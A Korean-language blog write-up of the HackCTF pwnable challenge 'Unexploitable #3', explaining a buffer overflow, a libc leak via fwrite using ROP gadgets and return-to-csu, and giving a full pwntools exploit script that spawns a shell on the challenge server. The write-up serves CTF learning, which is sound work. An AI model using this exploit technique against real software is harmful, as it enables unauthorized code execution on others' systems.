Studying Security

[HackCTF] pwnable: Unexploitable #3 풀이 본문

Wargame/HackCTF

[HackCTF] pwnable: Unexploitable #3 풀이

J4guar 2022. 4. 15. 19:16
728x90
반응형

Mitigation

Vulnerability Analysis

<main>

IDA disassembler를 가지고 main함수를 살펴보자 fgets함수가 존재하고 이를 이용해 BOF 공격이 가능하다.

Unexploitable_2 문제와는 다르게 gift 함수에도 fwrite를 제공하고 있음

<gift>

이를 가지고 fwrite를 이용해 libc leak를 수행 → library base address를 구하고 offset을 가지고 system과 "/bin/sh"주소를 획득하면 될 것 같았다.

필요한 ROPgadget을 모아보자

fwrite의 경우 인자가 4개이기 때문에 RDI, RSI, RDX, RCX 레지스터에 값을 전달할 수 있어야한다.

pop rdi와 pop rsi는 존재하는데 나머지 gadget이 없기 때문에 return to csu를 통해 rdx레지스터까지 설정할 수 있음

그럼 rcx는??

gift함수를 살펴보다보니 rcx에 값을 넣을 수 있는 gadget이 보인다.

이를 이용해 rcx에 stdout을 설정해주면 되겠다.

Exploit 과정

  1. Libc Leak → fwrite( setvbuf_got, 1, 8, 0x601050)
  2. Exploit → system("/bin/sh")

1. Libc Leak

fwrite( setvbuf_got, 1, 8, 0x601050)

pop rdi

0x601050

rcx, QWORD PTR [rdi] → set rcx

Return to csu → set rdi, rsi, rdx

fwrite로 libc의 임의 함수의 got를 출력하면 offset을 가지고 library의 base address를 구해

system함수와 "/bin/sh" 문자열의 주소를 구할 수 있다.

2. Exploit

system함수와 "/bin/sh" 문자열의 주소를 가지고 ROP를 통해 exploit 해주자

Exploit code

from pwn import *

def slog(name,addr): return success(": ".join([name, hex(addr)]))

p = remote("ctf.j0n9hyun.xyz",3034)
e = ELF("./Unexploitable_3")

gadget1 = 0x40073a
gadget2 = 0x400720

bss = e.bss()
setvbuf_got = e.got["setvbuf"]
fwrite_got = e.got["fwrite"]
main = e.symbols["main"]

pop_rbp = 0x4005a0
pop_rdi = 0x400743
mov_rcx_rdi = 0x400658

payload = "A"*0x18
# fwrite( setvbuf_got, 1, 8, 0x601050(stdout)) 
payload += p64(pop_rdi)
payload += p64(0x601050)
payload += p64(mov_rcx_rdi)

payload += p64(gadget1)
payload += p64(0)
payload += p64(1)
payload += p64(fwrite_got)
payload += p64(8)
payload += p64(1)
payload += p64(setvbuf_got)

payload += p64(gadget2)
payload += p64(0)
payload += p64(0)
payload += p64(0)
payload += p64(0)
payload += p64(0)
payload += p64(0)
payload += p64(0)

payload += p64(main)

p.recvline()
p.sendline(payload)

# get system & "/bin/sh" address
setvbuf = u64(p.recvuntil("\x7f").ljust(8,"\x00"))
slog("setvbuf", setvbuf)
libc_base = setvbuf - 0x06fe70
system = libc_base + 0x045390
binsh = libc_base + 0x18cd57
slog("libc_base", libc_base)
slog("system", system)
slog("/bin/sh", binsh)

# system("/bin/sh")
payload = "A"*0x18
payload += p64(pop_rdi) + p64(binsh) + p64(system)
p.sendline(payload)

p.interactive()

Result

반응형
Comments